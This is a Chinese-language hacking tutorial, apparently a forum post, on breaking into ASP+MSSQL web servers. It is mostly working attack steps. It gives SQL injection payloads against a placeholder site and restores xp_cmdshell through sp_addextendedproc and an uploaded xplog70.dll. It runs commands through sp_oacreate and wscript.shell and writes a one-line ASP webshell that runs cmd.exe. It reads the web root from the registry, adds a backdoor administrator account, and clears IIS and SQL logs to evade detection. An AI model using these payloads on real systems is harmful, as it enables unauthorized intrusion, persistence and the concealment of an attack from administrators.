当SA遇到XP_CMDSHELL时
有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin dbcreator diskadmin processadmin
serveradmin setupadmin securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可以知道其中的sysadmin权限是最高的,也是我们想要的。。。大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在"利用目录"菜单中打开"执行数据库命令" 填入我们要执行的命令:Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?接着看,还有办法,我们直接在数据库命令执行窗写入:Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到对方的c:\winnt\system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:\winnt\system32\xplog70.dll'好了,接下来就是我们常用的命令 net user 和 net localgroup administrators 命令了,还有清楚IIS日记和MSSQL日记就OK了!上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系统命令的语句我们可以自己给他加上哦,代码如下:
declare @o intexec sp_oacreate 'wscript.shell', @o outexec sp_oamethod @o, 'run', NULL, 'net start telnet'上面那段代码的意思就是通过服务器上的 wscript.shel 来执行net start telnet 开启服务器的telnet接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHELL到服务器上去哦!!!HOHO~~~~declare @o int, @f int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'creatextifile', @f out, 'c:\inetpub\wwwroot\mad.asp', 1exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>上面的代码就在服务器c:\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,举个例子现在咱们要入侵的网站是这个 www.***.com第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假如这个。www.***.com/script.asp?id=48还是一样用, ; and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和数据库的一些相关信息。想看服务器打的补丁情况,我们提交:www.***.com/script.asp?id=48 and 1=(select @@VERSION) 我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交: www.***.com/script.asp?id=48 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:www.***.com/script.asp?id=48 and 'sa'=(SELECT System_user)用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦(如果要获得已登录用户的身份,则使用Transact-SQL 语句:SELECT SYSTEM_USER)下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')如果被删除了,NO PROBLEM 我们给他恢复一下。提交:www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'试一下 看看xp_cmdshell是不是恢复过来了 提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。不过还用到两个MSSQL存储过程xp_regread 扩展存储过程和xp_regread Web 助手存储过程:xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件名你可以自己指定。当然我们这里就指定为ASP脚本文件CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中再次删除建的临时表 不知道的可要到网上找找哦!不过还是先看看这两个存储过程是不是被删了。。提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')如果两个都返回正常的话,说明两个存储过程都没有删除 :(大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 利用扩展存储过程xp_regread我们可以取得它的值. EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/' 这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?首先:先创建一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交: DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);-- 然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) )我们用CZY的方法继续提交:www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。然后向表中加数据:www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (DACB) values(@result);-- 继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1) IE返回错误,我们得到Web绝对路径 例如:e:\Inetpub\wwwroot还要删除刚才建的表 提交:www.***.com/script.asp?id=48;drop table cyfd;-- 接下来就好办多了,路径都知道了。得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传xplog70.dll传到E:\inetpub\wwwroot目录下 我们给他恢复下。提交:www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell', 'e:\inetpub\wwwroot\xplog70.dll'(恢复,支持绝对路径的恢复!)用IE来查看一下是不是已经恢复了。提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')如IE返回正常。说明已经恢复了!下面就建用户吧。。。。www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'提升管理员www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd
/add'好了到了这里就OK了。。如果对方有终端的话,就连接吧。,还有清除IIS日志,和MSSQL日志 闪人!~还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。HOHO~~~~完..............(写了这么多可能有先看不明白..SORRY!!)